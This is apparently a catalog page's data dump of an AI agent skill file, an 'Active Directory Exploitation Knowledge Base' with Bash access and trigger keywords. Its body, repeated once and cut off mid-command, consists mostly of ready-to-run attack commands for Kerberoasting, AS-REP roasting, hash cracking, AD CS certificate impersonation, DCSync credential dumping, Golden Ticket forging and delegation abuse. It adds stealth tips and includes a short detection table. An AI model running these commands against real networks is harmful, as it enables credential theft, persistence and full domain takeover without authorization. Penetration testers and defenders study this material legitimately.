[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7706DXDRMJMXQEB4CH4R727":3,"skill-same:01M7706DXDRMJMXQEB4CH4R727":56},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":30,"commitSha":31,"skillDirectory":32,"forksCount":14,"repositoryHtmlUrl":33,"repositoryHomepageUrl":6,"ownerHtmlUrl":34,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":35,"install":36,"resources":49},"01M7706DXDRMJMXQEB4CH4R727","ad",null,"Active Directory exploitation — BloodHound analysis, Kerberoasting, AS-REP Roasting, AD CS abuse, DCSync, Golden Ticket, Constrained Delegation.","Iwakishirokoshu\u002FHermesUltimate","Iwakishirokoshu","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F194847626?v=4","01M75P4CVGA89TTCE8JGMNAQQ9","Around","01M75P4CWF85V6GVSEFKGGFZ03",0,"MIT","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fexploit\u002Fad\u002FSKILL.md",[],[],"2026-11-12 13:55:43",false,"---\nname: ad\ndescription: \"Active Directory exploitation — BloodHound analysis, Kerberoasting, AS-REP Roasting, AD CS abuse, DCSync, Golden Ticket, Constrained Delegation.\"\nallowed-tools: Bash Read Write\nmetadata:\n  subdomain: credential-access\n  when_to_use: \"kerberoast, AS-REP roast, DCSync, golden ticket, AD CS, bloodhound, constrained delegation, active directory exploit, certipy, rubeus\"\n  tags: active-directory, kerberos, credential-access, privilege-escalation, lateral-movement\n  mitre_attack: T1558.003, T1558.004, T1003.006, T1649, T1550.003, T1087.002\n---\n\n# Active Directory Exploitation Knowledge Base\n\nActive Directory exploitation targets authentication protocols, certificate services, and trust relationships to escalate privileges, extract credentials, and achieve domain dominance. All techniques require prior domain access (compromised user or machine account).\n\n## Quick Reference — Common AD Attack Patterns\n```bash\n# BloodHound collection (SharpHound from Windows)\nSharpHound.exe -c All --outputdirectory bloodhound\u002F\n\n# BloodHound collection (bloodhound-python from Linux)\nbloodhound-python -u '\u003CUSER>' -p '\u003CPASS>' -d \u003CTARGET> -ns \u003CDC_IP> -c all --zip -o bloodhound\u002F\n\n# Kerberoast all SPNs\nimpacket-GetUserSPNs '\u003CDOMAIN>\u002F\u003CUSER>:\u003CPASS>' -dc-ip \u003CDC_IP> -request -outputfile kerberoast_hashes.txt\n\n# AS-REP Roast\nimpacket-GetNPUsers '\u003CDOMAIN>\u002F' -dc-ip \u003CDC_IP> -usersfile users.txt -format hashcat -outputfile asrep_hashes.txt\n\n# DCSync — dump all hashes\nimpacket-secretsdump '\u003CDOMAIN>\u002F\u003CUSER>:\u003CPASS>'@\u003CDC_IP> -outputfile dcsync_dump\n\n# AD CS enumeration\ncertipy find -u '\u003CUSER>@\u003CDOMAIN>' -p '\u003CPASS>' -dc-ip \u003CDC_IP> -stdout > adcs_enum.txt\n```\n\n## MITRE ATT&CK Mapping\n\n| Technique ID | Name | Skill Section |\n|-------------|------|---------------|\n| T1558.003 | Kerberoasting | Section 2 |\n| T1558.004 | AS-REP Roasting | Section 3 |\n| T1003.006 | DCSync | Section 5 |\n| T1649 | Steal or Forge Authentication Certificates | Section 4 |\n| T1550.003 | Pass the Ticket | Section 6, 7 |\n| T1087.002 | Domain Account Discovery | Section 1 |\n\n## 1. BloodHound \u002F SharpHound — Attack Path Analysis\n\n### Data Collection\n\n**SharpHound (Windows)**\n```powershell\n# All collection methods — generates ZIP for BloodHound import\nSharpHound.exe -c All --outputdirectory C:\\workspace\\bloodhound\\\n\n# Stealth collection — sessions only (lower noise)\nSharpHound.exe -c Session --loop --loopduration 02:00:00\n\n# Specific collection types\nSharpHound.exe -c DCOnly           # DC queries only — no host enumeration\nSharpHound.exe -c Group,ACL,Trust  # Targeted collection\n```\n\n**bloodhound-python (Linux)**\n```bash\n# Full collection from Linux\nbloodhound-python -u '\u003CUSER>' -p '\u003CPASS>' -d \u003CTARGET> -ns \u003CDC_IP> -c all --zip -o bloodhound\u002F\n\n# With NTLM hash (pass-the-hash)\nbloodhound-python -u '\u003CUSER>' --hashes ':\u003CNT_HASH>' -d \u003CTARGET> -ns \u003CDC_IP> -c all --zip -o bloodhound\u002F\n```\n\n### Key BloodHound Queries\n```cypher\n# Find shortest path to Domain Admins\nMATCH p=shortestPath((n {owned:true})-[*1..]->(g:Group {name:\"DOMAIN ADMINS@\u003CTARGET>\"})) RETURN p\n\n# Find Kerberoastable users with admin paths\nMATCH (u:User {hasspn:true})-[*1..5]->(g:Group {highvalue:true}) RETURN u.name, g.name\n\n# Find AS-REP Roastable users\nMATCH (u:User {dontreqpreauth:true}) RETURN u.name, u.description\n\n# Find users with DCSync rights\nMATCH p=(n)-[:GetChanges|GetChangesAll*1..]->(d:Domain) RETURN p\n\n# Find constrained delegation targets\nMATCH (c {allowedtodelegate: true}) RETURN c.name, c.allowedtodelegate\n```\n\n## 2. Kerberoasting\n\nTargets service accounts with SPNs. Requests TGS tickets encrypted with the service account's password hash, then cracks offline.\n\n### Enumeration & Extraction\n\n**Impacket (Linux)**\n```bash\n# Request all kerberoastable TGS tickets\nimpacket-GetUserSPNs '\u003CDOMAIN>\u002F\u003CUSER>:\u003CPASS>' -dc-ip \u003CDC_IP> -request -outputfile kerberoast_hashes.txt\n\n# With NTLM hash\nimpacket-GetUserSPNs '\u003CDOMAIN>\u002F\u003CUSER>' -hashes ':\u003CNT_HASH>' -dc-ip \u003CDC_IP> -request -outputfile kerberoast_hashes.txt\n\n# Target a specific SPN\nimpacket-GetUserSPNs '\u003CDOMAIN>\u002F\u003CUSER>:\u003CPASS>' -dc-ip \u003CDC_IP> -request-user '\u003CSPN_USER>' -outputfile kerberoast_target.txt\n```\n\n**Rubeus (Windows)**\n```powershell\n# Kerberoast all SPNs\nRubeus.exe kerberoast \u002Foutfile:C:\\workspace\\kerberoast_hashes.txt\n\n# Target specific user\nRubeus.exe kerberoast \u002Fuser:\u003CSPN_USER> \u002Foutfile:C:\\workspace\\kerberoast_target.txt\n\n# Use RC4 downgrade for easier cracking (noisier)\nRubeus.exe kerberoast \u002Frc4opsec \u002Foutfile:C:\\workspace\\kerberoast_rc4.txt\n\n# Use AES (stealthier, harder to crack)\nRubeus.exe kerberoast \u002Faes \u002Foutfile:C:\\workspace\\kerberoast_aes.txt\n```\n\n### Offline Cracking\n```bash\n# Hashcat — Kerberos 5 TGS-REP (mode 13100)\nhashcat -m 13100 kerberoast_hashes.txt \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt -r \u002Fusr\u002Fshare\u002Fhashcat\u002Frules\u002Fbest64.rule -o kerberoast_cracked.txt\n\n# With multiple wordlists\nhashcat -m 13100 kerberoast_hashes.txt \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt \u002Fusr\u002Fshare\u002Fwordlists\u002Fcustom.txt -o kerberoast_cracked.txt\n\n# AES-encrypted TGS tickets (mode 19700)\nhashcat -m 19700 kerberoast_aes_hashes.txt \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt -o kerberoast_aes_cracked.txt\n```\n\n## 3. AS-REP Roasting\n\nTargets accounts with \"Do not require Kerberos pre-authentication\" enabled. No valid credentials required — only a username list.\n\n### Enumeration & Extraction\n\n**Impacket (Linux)**\n```bash\n# With a user list (no creds needed)\nimpacket-GetNPUsers '\u003CDOMAIN>\u002F' -dc-ip \u003CDC_IP> -usersfile users.txt -format hashcat -outputfile asrep_hashes.txt\n\n# With valid creds — enumerate and roast automatically\nimpacket-GetNPUsers '\u003CDOMAIN>\u002F\u003CUSER>:\u003CPASS>' -dc-ip \u003CDC_IP> -request -format hashcat -outputfile asrep_hashes.txt\n```\n\n**Rubeus (Windows)**\n```powershell\n# AS-REP Roast all vulnerable accounts\nRubeus.exe asreproast \u002Fformat:hashcat \u002Foutfile:C:\\workspace\\asrep_hashes.txt\n\n# Target specific user\nRubeus.exe asreproast \u002Fuser:\u003CTARGET_USER> \u002Fformat:hashcat \u002Foutfile:C:\\workspace\\asrep_target.txt\n```\n\n### Offline Cracking\n```bash\n# Hashcat — Kerberos 5 AS-REP (mode 18200)\nhashcat -m 18200 asrep_hashes.txt \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt -r \u002Fusr\u002Fshare\u002Fhashcat\u002Frules\u002Fbest64.rule -o asrep_cracked.txt\n```\n\n## 4. AD CS Abuse — ESC1 (Certificate Template Exploitation)\n\nESC1: Certificate template allows requesters to specify a Subject Alternative Name (SAN), enabling impersonation of any domain user including Domain Admins.\n\n### Prerequisites\n- Enrollment rights on a vulnerable template\n- Template allows client authentication (EKU)\n- Template permits SAN specification (ENROLLEE_SUPPLIES_SUBJECT)\n\n### Enumeration\n\n**Certipy (Linux)**\n```bash\n# Enumerate all CA and template information\ncertipy find -u '\u003CUSER>@\u003CDOMAIN>' -p '\u003CPASS>' -dc-ip \u003CDC_IP> -stdout > adcs_enum.txt\n\n# Find vulnerable templates specifically\ncertipy find -u '\u003CUSER>@\u003CDOMAIN>' -p '\u003CPASS>' -dc-ip \u003CDC_IP> -vulnerable -stdout > adcs_vulnerable.txt\n```\n\n**Certify (Windows)**\n```powershell\n# Enumerate CAs and templates\nCertify.exe cas\nCertify.exe find\n\n# Find vulnerable templates\nCertify.exe find \u002Fvulnerable\n```\n\n### ESC1 Exploitation\n\n**Certipy (Linux)**\n```bash\n# Request certificate with SAN of Domain Admin\ncertipy req -u '\u003CUSER>@\u003CDOMAIN>' -p '\u003CPASS>' -dc-ip \u003CDC_IP> -ca '\u003CCA_NAME>' -template '\u003CTEMPLATE_NAME>' -upn 'administrator@\u003CDOMAIN>' -out admin_cert\n\n# Authenticate with the certificate (PKINIT)\ncertipy auth -pfx admin_cert.pfx -dc-ip \u003CDC_IP> -domain \u003CTARGET>\n\n# Output: NT hash of the impersonated user — use for pass-the-hash\n```\n\n**Certify + Rubeus (Windows)**\n```powershell\n# Request certificate with SAN\nCertify.exe request \u002Fca:\u003CCA_NAME> \u002Ftemplate:\u003CTEMPLATE_NAME> \u002Faltname:administrator\n\n# Convert PEM to PFX\nopenssl pkcs12 -in cert.pem -keyex -CSP \"Microsoft Enhanced Cryptographic Provider v1.0\" -export -out admin.pfx\n\n# Authenticate with certificate via Rubeus (PKINIT)\nRubeus.exe asktgt \u002Fuser:administrator \u002Fcertificate:C:\\workspace\\admin.pfx \u002Fptt\n```\n\n## 5. DCSync Attack\n\nImpersonates a Domain Controller to request password replication data. Requires DS-Replication-Get-Changes and DS-Replication-Get-Changes-All rights (typically Domain Admins, Enterprise Admins, or DC machine accounts).\n\n### Check Replication Rights\n```bash\n# BloodHound query\nMATCH p=(n)-[:GetChanges|GetChangesAll*1..]->(d:Domain) RETURN p\n\n# Impacket — check ACLs\nimpacket-findDelegation '\u003CDOMAIN>\u002F\u003CUSER>:\u003CPASS>' -dc-ip \u003CDC_IP>\n```\n\n### Execution\n\n**Impacket secretsdump.py (Linux)**\n```bash\n# DCSync all accounts\nimpacket-secretsdump '\u003CDOMAIN>\u002F\u003CUSER>:\u003CPASS>'@\u003CDC_IP> -outputfile dcsync_dump\n\n# DCSync specific user (stealthier)\nimpacket-secretsdump '\u003CDOMAIN>\u002F\u003CUSER>:\u003CPASS>'@\u003CDC_IP> -just-dc-user administrator -outputfile dcsync_admin\n\n# With pass-the-hash\nimpacket-secretsdump '\u003CDOMAIN>\u002F\u003CUSER>'@\u003CDC_IP> -hashes ':\u003CNT_HASH>' -just-dc -outputfile dcsync_dump\n```\n\n**Mimikatz (Windows)**\n```powershell\n# DCSync all accounts\nmimikatz # lsadump::dcsync \u002Fdomain:\u003CTARGET> \u002Fall \u002Fcsv\n\n# DCSync specific user\nmimikatz # lsadump::dcsync \u002Fdomain:\u003CTARGET> \u002Fuser:administrator\n\n# DCSync krbtgt (for Golden Ticket creation)\nmimikatz # lsadump::dcsync \u002Fdomain:\u003CTARGET> \u002Fuser:krbtgt\n```\n\n### Output Format\n```\n# secretsdump output format:\n\u003CDOMAIN>\\\u003CUSER>:\u003CRID>:\u003CLM_HASH>:\u003CNT_HASH>:::\n\n# Key accounts to extract:\n# - Administrator (RID 500) — domain admin access\n# - krbtgt — Golden Ticket creation\n# - Machine accounts — lateral movement via S4U\n```\n\n## 6. Golden Ticket Creation\n\nForges a TGT using the krbtgt account hash, granting unlimited access as any user for the lifetime of the ticket (default 10 years). Requires the krbtgt NTLM hash (obtained via DCSync).\n\n### Prerequisites\n- krbtgt NTLM hash\n- Domain SID (`whoami \u002Fuser` or `impacket-lookupsid`)\n- Domain FQDN\n\n### Forge the Ticket\n\n**Mimikatz (Windows)**\n```powershell\n# Create Golden Ticket and inject into memory\nmimikatz # kerberos::golden \u002Fuser:administrator \u002Fdomain:\u003CTARGET> \u002Fsid:\u003CDOMAIN_SID> \u002Fkrbtgt:\u003CKRBTGT_NT_HASH> \u002Fptt\n\n# Create Golden Ticket and save to file\nmimikatz # kerberos::golden \u002Fuser:administrator \u002Fdomain:\u003CTARGET> \u002Fsid:\u003CDOMAIN_SID> \u002Fkrbtgt:\u003CKRBTGT_NT_HASH> \u002Fticket:C:\\workspace\\golden.kirbi\n\n# With specific groups (Domain Admins=512, Enterprise Admins=519, Schema Admins=518)\nmimikatz # kerberos::golden \u002Fuser:administrator \u002Fdomain:\u003CTARGET> \u002Fsid:\u003CDOMAIN_SID> \u002Fkrbtgt:\u003CKRBTGT_NT_HASH> \u002Fgroups:512,519,518 \u002Fptt\n```\n\n**Impacket ticketer.py (Linux)**\n```bash\n# Create Golden Ticket\nimpacket-ticketer -nthash '\u003CKRBTGT_NT_HASH>' -domain-sid '\u003CDOMAIN_SID>' -domain '\u003CTARGET>' administrator -outputfile golden\n\n# Use the ticket\nexport KRB5CCNAME=golden.ccache\nimpacket-psexec '\u003CTARGET>\u002Fadministrator@\u003CDC_HOSTNAME>' -k -no-pass\nimpacket-secretsdump '\u003CTARGET>\u002Fadministrator@\u003CDC_HOSTNAME>' -k -no-pass\nimpacket-wmiexec '\u003CTARGET>\u002Fadministrator@\u003CDC_HOSTNAME>' -k -no-pass\n```\n\n### Lookup Domain SID\n```bash\n# From Linux\nimpacket-lookupsid '\u003CDOMAIN>\u002F\u003CUSER>:\u003CPASS>'@\u003CDC_IP> 0\n\n# From Windows\nwhoami \u002Fuser\n# Remove the last RID portion (-500, -1001, etc.) to get the domain SID\n```\n\n## 7. Constrained Delegation Abuse\n\nAbuses S4U2self and S4U2proxy Kerberos extensions. A compromised account with constrained delegation can impersonate any user to the delegated service.\n\n### Enumeration\n```bash\n# Find accounts with constrained delegation (Impacket)\nimpacket-findDelegation '\u003CDOMAIN>\u002F\u003CUSER>:\u003CPASS>' -dc-ip \u003CDC_IP> -target-domain \u003CTARGET>\n\n# BloodHound query\nMATCH (c {allowedtodelegate: true}) RETURN c.name, c.allowedtodelegate\n```\n\n```powershell\n# PowerShell\nGet-ADObject -Filter {msDS-AllowedToDelegateTo -ne \"$null\"} -Properties msDS-AllowedToDelegateTo\n```\n\n### S4U2self \u002F S4U2proxy Exploitation\n\n**Impacket getST.py (Linux)**\n```bash\n# Request service ticket via S4U — impersonate administrator to target service\nimpacket-getST '\u003CDOMAIN>\u002F\u003CCOMPROMISED_ACCOUNT>:\u003CPASS>' -spn '\u003CTARGET_SPN>' -impersonate administrator -dc-ip \u003CDC_IP> -outputfile s4u_ticket\n\n# With NTLM hash\nimpacket-getST '\u003CDOMAIN>\u002F\u003CCOMPROMISED_ACCOUNT>' -hashes ':\u003CNT_HASH>' -spn '\u003CTARGET_SPN>' -impersonate administrator -dc-ip \u003CDC_IP> -outputfile s4u_ticket\n\n# Use the resulting ticket\nexport KRB5CCNAME=s4u_ticket.ccache\nimpacket-psexec '\u003CTARGET>\u002Fadministrator@\u003CTARGET_HOST>' -k -no-pass\nimpacket-smbexec '\u003CTARGET>\u002Fadministrator@\u003CTARGET_HOST>' -k -no-pass\n```\n\n**Rubeus (Windows)**\n```powershell\n# S4U full chain — request TGT, then S4U2self, then S4U2proxy\nRubeus.exe s4u \u002Fuser:\u003CCOMPROMISED_ACCOUNT> \u002Frc4:\u003CNT_HASH> \u002Fimpersonateuser:administrator \u002Fmsdsspn:\u003CTARGET_SPN> \u002Fptt\n\n# With AES256 key\nRubeus.exe s4u \u002Fuser:\u003CCOMPROMISED_ACCOUNT> \u002Faes256:\u003CAES_KEY> \u002Fimpersonateuser:administrator \u002Fmsdsspn:\u003CTARGET_SPN> \u002Fptt\n\n# Alternate service name (service name swapping)\nRubeus.exe s4u \u002Fuser:\u003CCOMPROMISED_ACCOUNT> \u002Frc4:\u003CNT_HASH> \u002Fimpersonateuser:administrator \u002Fmsdsspn:\u003CTARGET_SPN> \u002Faltservice:cifs,host,ldap \u002Fptt\n```\n\n### Common Delegation Targets\n| msDS-AllowedToDelegateTo | Impact |\n|--------------------------|--------|\n| cifs\u002Fserver.domain.com | File share access, PsExec |\n| http\u002Fserver.domain.com | Web application impersonation |\n| mssql\u002Fserver.domain.com | SQL Server access as any user |\n| ldap\u002Fdc.domain.com | DCSync capability |\n| host\u002Fserver.domain.com | Remote admin, WMI, scheduled tasks |\n\n## Tools & Resources\n\n| Tool | Purpose | Platform |\n|------|---------|----------|\n| BloodHound \u002F SharpHound | AD attack path analysis | Windows \u002F Cross-platform |\n| bloodhound-python | BloodHound ingestor for Linux | Linux |\n| Rubeus | Kerberos interaction (roasting, S4U, tickets) | Windows |\n| Impacket (GetUserSPNs, GetNPUsers, secretsdump, getST, ticketer) | AD exploitation suite | Linux |\n| Mimikatz | Credential extraction, ticket forging | Windows |\n| Certipy | AD CS enumeration and exploitation | Linux |\n| Certify | AD CS enumeration and exploitation | Windows |\n| Hashcat | Offline hash cracking | Cross-platform |\n\n## Detection Signatures\n\n| Event ID | Source | Indicator | Technique |\n|----------|--------|-----------|-----------|\n| 4769 | Security | TGS requested with RC4 encryption (0x17) | Kerberoasting |\n| 4768 | Security | AS-REQ without pre-authentication | AS-REP Roasting |\n| 4662 | Security | Replication rights accessed on domain object | DCSync |\n| 4624 | Security | Logon with forged ticket (anomalous SID\u002Fgroups) | Golden Ticket |\n| 5136 | Security | Directory Service object modification | Delegation abuse |\n| 4769 | Security | TGS for sensitive service by unusual account | Constrained Delegation |\n| 4886 | Security | Certificate Services received certificate request | AD CS abuse |\n| 4887 | Security | Certificate Services approved certificate request | AD CS abuse |\n\n### Behavioral Indicators\n- Sudden spike in TGS requests from a single account (Kerberoasting)\n- AS-REQ for accounts that normally use pre-auth (AS-REP Roasting)\n- Replication traffic from non-DC IP addresses (DCSync)\n- TGT with abnormal lifetime or group memberships (Golden Ticket)\n- S4U2self\u002FS4U2proxy requests from unexpected accounts (Delegation abuse)\n- Certificate requests with SAN different from requesting user (AD CS ESC1)\n\n## Decision Gate\n\n```\nAD Exploitation successful?\n├── YES → Credentials obtained\n│   ├── Service account cracked → Lateral Movement (use creds to pivot)\n│   ├── Domain Admin hash → DCSync → Full domain compromise\n│   ├── krbtgt hash → Golden Ticket → Persistence\n│   ├── Certificate obtained → PKINIT auth → Privilege Escalation\n│   └── Delegation abused → Service impersonation → Lateral Movement\n└── NO → Reassess\n    ├── No Kerberoastable SPNs → Enumerate other attack paths (ACL abuse, GPO)\n    ├── Hashes not cracking → Expand wordlists, try rules, check for AES-only\n    ├── No vulnerable templates → Check ESC2-ESC8, other AD CS vectors\n    ├── Insufficient rights for DCSync → Escalate via ACL abuse or delegation\n    └── No delegation found → Check resource-based constrained delegation (RBCD)\n```\n\n## Bundled Resources\n\n### References\n- `references\u002Fattack-paths.md` — BloodHound Cypher queries, SharpHound collection methods, Kerberos attack reference (SPN enum, Hashcat modes), AD CS ESC1\u002FESC8, DCSync chain, Golden Ticket creation, constrained delegation abuse. Read when you need detailed command references for specific AD attack vectors.\n","# Active Directory Exploitation Knowledge Base\n\nActive Directory exploitation targets authentication protocols, certificate services, and trust relationships to escalate privileges, extract credentials, and achieve domain dominance. All techniques require prior domain access (compromised user or machine account).\n\n## Quick Reference — Common AD Attack Patterns\n```bash\n# BloodHound collection (SharpHound from Windows)\nSharpHound.exe -c All --outputdirectory bloodhound\u002F\n\n# BloodHound collection (bloodhound-python from Linux)\nbloodhound-python -u '\u003CUSER>' -p '\u003CPASS>' -d \u003CTARGET> -ns \u003CDC_IP> -c all --zip -o bloodhound\u002F\n\n# Kerberoast all SPNs\nimpacket-GetUserSPNs '\u003CDOMAIN>\u002F\u003CUSER>:\u003CPASS>' -dc-ip \u003CDC_IP> -request -outputfile kerberoast_hashes.txt\n\n# AS-REP Roast\nimpacket-GetNPUsers '\u003CDOMAIN>\u002F' -dc-ip \u003CDC_IP> -usersfile users.txt -format hashcat -outputfile asrep_hashes.txt\n\n# DCSync — dump all hashes\nimpacket-secretsdump '\u003CDOMAIN>\u002F\u003CUSER>:\u003CPASS>'@\u003CDC_IP> -outputfile dcsync_dump\n\n# AD CS enumeration\ncertipy find -u '\u003CUSER>@\u003CDOMAIN>' -p '\u003CPASS>' -dc-ip \u003CDC_IP> -stdout > adcs_enum.txt\n```\n\n## MITRE ATT&CK Mapping\n\n| Technique ID | Name | Skill Section |\n|-------------|------|---------------|\n| T1558.003 | Kerberoasting | Section 2 |\n| T1558.004 | AS-REP Roasting | Section 3 |\n| T1003.006 | DCSync | Section 5 |\n| T1649 | Steal or Forge Authentication Certificates | Section 4 |\n| T1550.003 | Pass the Ticket | Section 6, 7 |\n| T1087.002 | Domain Account Discovery | Section 1 |\n\n## 1. BloodHound \u002F SharpHound — Attack Path Analysis\n\n### Data Collection\n\n**SharpHound (Windows)**\n```powershell\n# All collection methods — generates ZIP for BloodHound import\nSharpHound.exe -c All --outputdirectory C:\\workspace\\bloodhound\\\n\n# Stealth collection — sessions only (lower noise)\nSharpHound.exe -c Session --loop --loopduration 02:00:00\n\n# Specific collection types\nSharpHound.exe -c DCOnly           # DC queries only — no host enumeration\nSharpHound.exe -c Group,ACL,Trust  # Targeted collection\n```\n\n**bloodhound-python (Linux)**\n```bash\n# Full collection from Linux\nbloodhound-python -u '\u003CUSER>' -p '\u003CPASS>' -d \u003CTARGET> -ns \u003CDC_IP> -c all --zip -o bloodhound\u002F\n\n# With NTLM hash (pass-the-hash)\nbloodhound-python -u '\u003CUSER>' --hashes ':\u003CNT_HASH>' -d \u003CTARGET> -ns \u003CDC_IP> -c all --zip -o bloodhound\u002F\n```\n\n### Key BloodHound Queries\n```cypher\n# Find shortest path to Domain Admins\nMATCH p=shortestPath((n {owned:true})-[*1..]->(g:Group {name:\"DOMAIN ADMINS@\u003CTARGET>\"})) RETURN p\n\n# Find Kerberoastable users with admin paths\nMATCH (u:User {hasspn:true})-[*1..5]->(g:Group {highvalue:true}) RETURN u.name, g.name\n\n# Find AS-REP Roastable users\nMATCH (u:User {dontreqpreauth:true}) RETURN u.name, u.description\n\n# Find users with DCSync rights\nMATCH p=(n)-[:GetChanges|GetChangesAll*1..]->(d:Domain) RETURN p\n\n# Find constrained delegation targets\nMATCH (c {allowedtodelegate: true}) RETURN c.name, c.allowedtodelegate\n```\n\n## 2. Kerberoasting\n\nTargets service accounts with SPNs. Requests TGS tickets encrypted with the service account's password hash, then cracks offline.\n\n### Enumeration & Extraction\n\n**Impacket (Linux)**\n```bash\n# Request all kerberoastable TGS tickets\nimpacket-GetUserSPNs '\u003CDOMAIN>\u002F\u003CUSER>:\u003CPASS>' -dc-ip \u003CDC_IP> -request -outputfile kerberoast_hashes.txt\n\n# With NTLM hash\nimpacket-GetUserSPNs '\u003CDOMAIN>\u002F\u003CUSER>' -hashes ':\u003CNT_HASH>' -dc-ip \u003CDC_IP> -request -outputfile kerberoast_hashes.txt\n\n# Target a specific SPN\nimpacket-GetUserSPNs '\u003CDOMAIN>\u002F\u003CUSER>:\u003CPASS>' -dc-ip \u003CDC_IP> -request-user '\u003CSPN_USER>' -outputfile kerberoast_target.txt\n```\n\n**Rubeus (Windows)**\n```powershell\n# Kerberoast all SPNs\nRubeus.exe kerberoast \u002Foutfile:C:\\workspace\\kerberoast_hashes.txt\n\n# Target specific user\nRubeus.exe kerberoast \u002Fuser:\u003CSPN_USER> \u002Foutfile:C:\\workspace\\kerberoast_target.txt\n\n# Use RC4 downgrade for easier cracking (noisier)\nRubeus.exe kerberoast \u002Frc4opsec \u002Foutfile:C:\\workspace\\kerberoast_rc4.txt\n\n# Use AES (stealthier, harder to crack)\nRubeus.exe kerberoast \u002Faes \u002Foutfile:C:\\workspace\\kerberoast_aes.txt\n```\n\n### Offline Cracking\n```bash\n# Hashcat — Kerberos 5 TGS-REP (mode 13100)\nhashcat -m 13100 kerberoast_hashes.txt \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt -r \u002Fusr\u002Fshare\u002Fhashcat\u002Frules\u002Fbest64.rule -o kerberoast_cracked.txt\n\n# With multiple wordlists\nhashcat -m 13100 kerberoast_hashes.txt \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt \u002Fusr\u002Fshare\u002Fwordlists\u002Fcustom.txt -o kerberoast_cracked.txt\n\n# AES-encrypted TGS tickets (mode 19700)\nhashcat -m 19700 kerberoast_aes_hashes.txt \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt -o kerberoast_aes_cracked.txt\n```\n\n## 3. AS-REP Roasting\n\nTargets accounts with \"Do not require Kerberos pre-authentication\" enabled. No valid credentials required — only a username list.\n\n### Enumeration & Extraction\n\n**Impacket (Linux)**\n```bash\n# With a user list (no creds needed)\nimpacket-GetNPUsers '\u003CDOMAIN>\u002F' -dc-ip \u003CDC_IP> -usersfile users.txt -format hashcat -outputfile asrep_hashes.txt\n\n# With valid creds — enumerate and roast automatically\nimpacket-GetNPUsers '\u003CDOMAIN>\u002F\u003CUSER>:\u003CPASS>' -dc-ip \u003CDC_IP> -request -format hashcat -outputfile asrep_hashes.txt\n```\n\n**Rubeus (Windows)**\n```powershell\n# AS-REP Roast all vulnerable accounts\nRubeus.exe asreproast \u002Fformat:hashcat \u002Foutfile:C:\\workspace\\asrep_hashes.txt\n\n# Target specific user\nRubeus.exe asreproast \u002Fuser:\u003CTARGET_USER> \u002Fformat:hashcat \u002Foutfile:C:\\workspace\\asrep_target.txt\n```\n\n### Offline Cracking\n```bash\n# Hashcat — Kerberos 5 AS-REP (mode 18200)\nhashcat -m 18200 asrep_hashes.txt \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt -r \u002Fusr\u002Fshare\u002Fhashcat\u002Frules\u002Fbest64.rule -o asrep_cracked.txt\n```\n\n## 4. AD CS Abuse — ESC1 (Certificate Template Exploitation)\n\nESC1: Certificate template allows requesters to specify a Subject Alternative Name (SAN), enabling impersonation of any domain user including Domain Admins.\n\n### Prerequisites\n- Enrollment rights on a vulnerable template\n- Template allows client authentication (EKU)\n- Template permits SAN specification (ENROLLEE_SUPPLIES_SUBJECT)\n\n### Enumeration\n\n**Certipy (Linux)**\n```bash\n# Enumerate all CA and template information\ncertipy find -u '\u003CUSER>@\u003CDOMAIN>' -p '\u003CPASS>' -dc-ip \u003CDC_IP> -stdout > adcs_enum.txt\n\n# Find vulnerable templates specifically\ncertipy find -u '\u003CUSER>@\u003CDOMAIN>' -p '\u003CPASS>' -dc-ip \u003CDC_IP> -vulnerable -stdout > adcs_vulnerable.txt\n```\n\n**Certify (Windows)**\n```powershell\n# Enumerate CAs and templates\nCertify.exe cas\nCertify.exe find\n\n# Find vulnerable templates\nCertify.exe find \u002Fvulnerable\n```\n\n### ESC1 Exploitation\n\n**Certipy (Linux)**\n```bash\n# Request certificate with SAN of Domain Admin\ncertipy req -u '\u003CUSER>@\u003CDOMAIN>' -p '\u003CPASS>' -dc-ip \u003CDC_IP> -ca '\u003CCA_NAME>' -template '\u003CTEMPLATE_NAME>' -upn 'administrator@\u003CDOMAIN>' -out admin_cert\n\n# Authenticate with the certificate (PKINIT)\ncertipy auth -pfx admin_cert.pfx -dc-ip \u003CDC_IP> -domain \u003CTARGET>\n\n# Output: NT hash of the impersonated user — use for pass-the-hash\n```\n\n**Certify + Rubeus (Windows)**\n```powershell\n# Request certificate with SAN\nCertify.exe request \u002Fca:\u003CCA_NAME> \u002Ftemplate:\u003CTEMPLATE_NAME> \u002Faltname:administrator\n\n# Convert PEM to PFX\nopenssl pkcs12 -in cert.pem -keyex -CSP \"Microsoft Enhanced Cryptographic Provider v1.0\" -export -out admin.pfx\n\n# Authenticate with certificate via Rubeus (PKINIT)\nRubeus.exe asktgt \u002Fuser:administrator \u002Fcertificate:C:\\workspace\\admin.pfx \u002Fptt\n```\n\n## 5. DCSync Attack\n\nImpersonates a Domain Controller to request password replication data. Requires DS-Replication-Get-Changes and DS-Replication-Get-Changes-All rights (typically Domain Admins, Enterprise Admins, or DC machine accounts).\n\n### Check Replication Rights\n```bash\n# BloodHound query\nMATCH p=(n)-[:GetChanges|GetChangesAll*1..]->(d:Domain) RETURN p\n\n# Impacket — check ACLs\nimpacket-findDelegation '\u003CDOMAIN>\u002F\u003CUSER>:\u003CPASS>' -dc-ip \u003CDC_IP>\n```\n\n### Execution\n\n**Impacket secretsdump.py (Linux)**\n```bash\n# DCSync all accounts\nimpacket-secretsdump 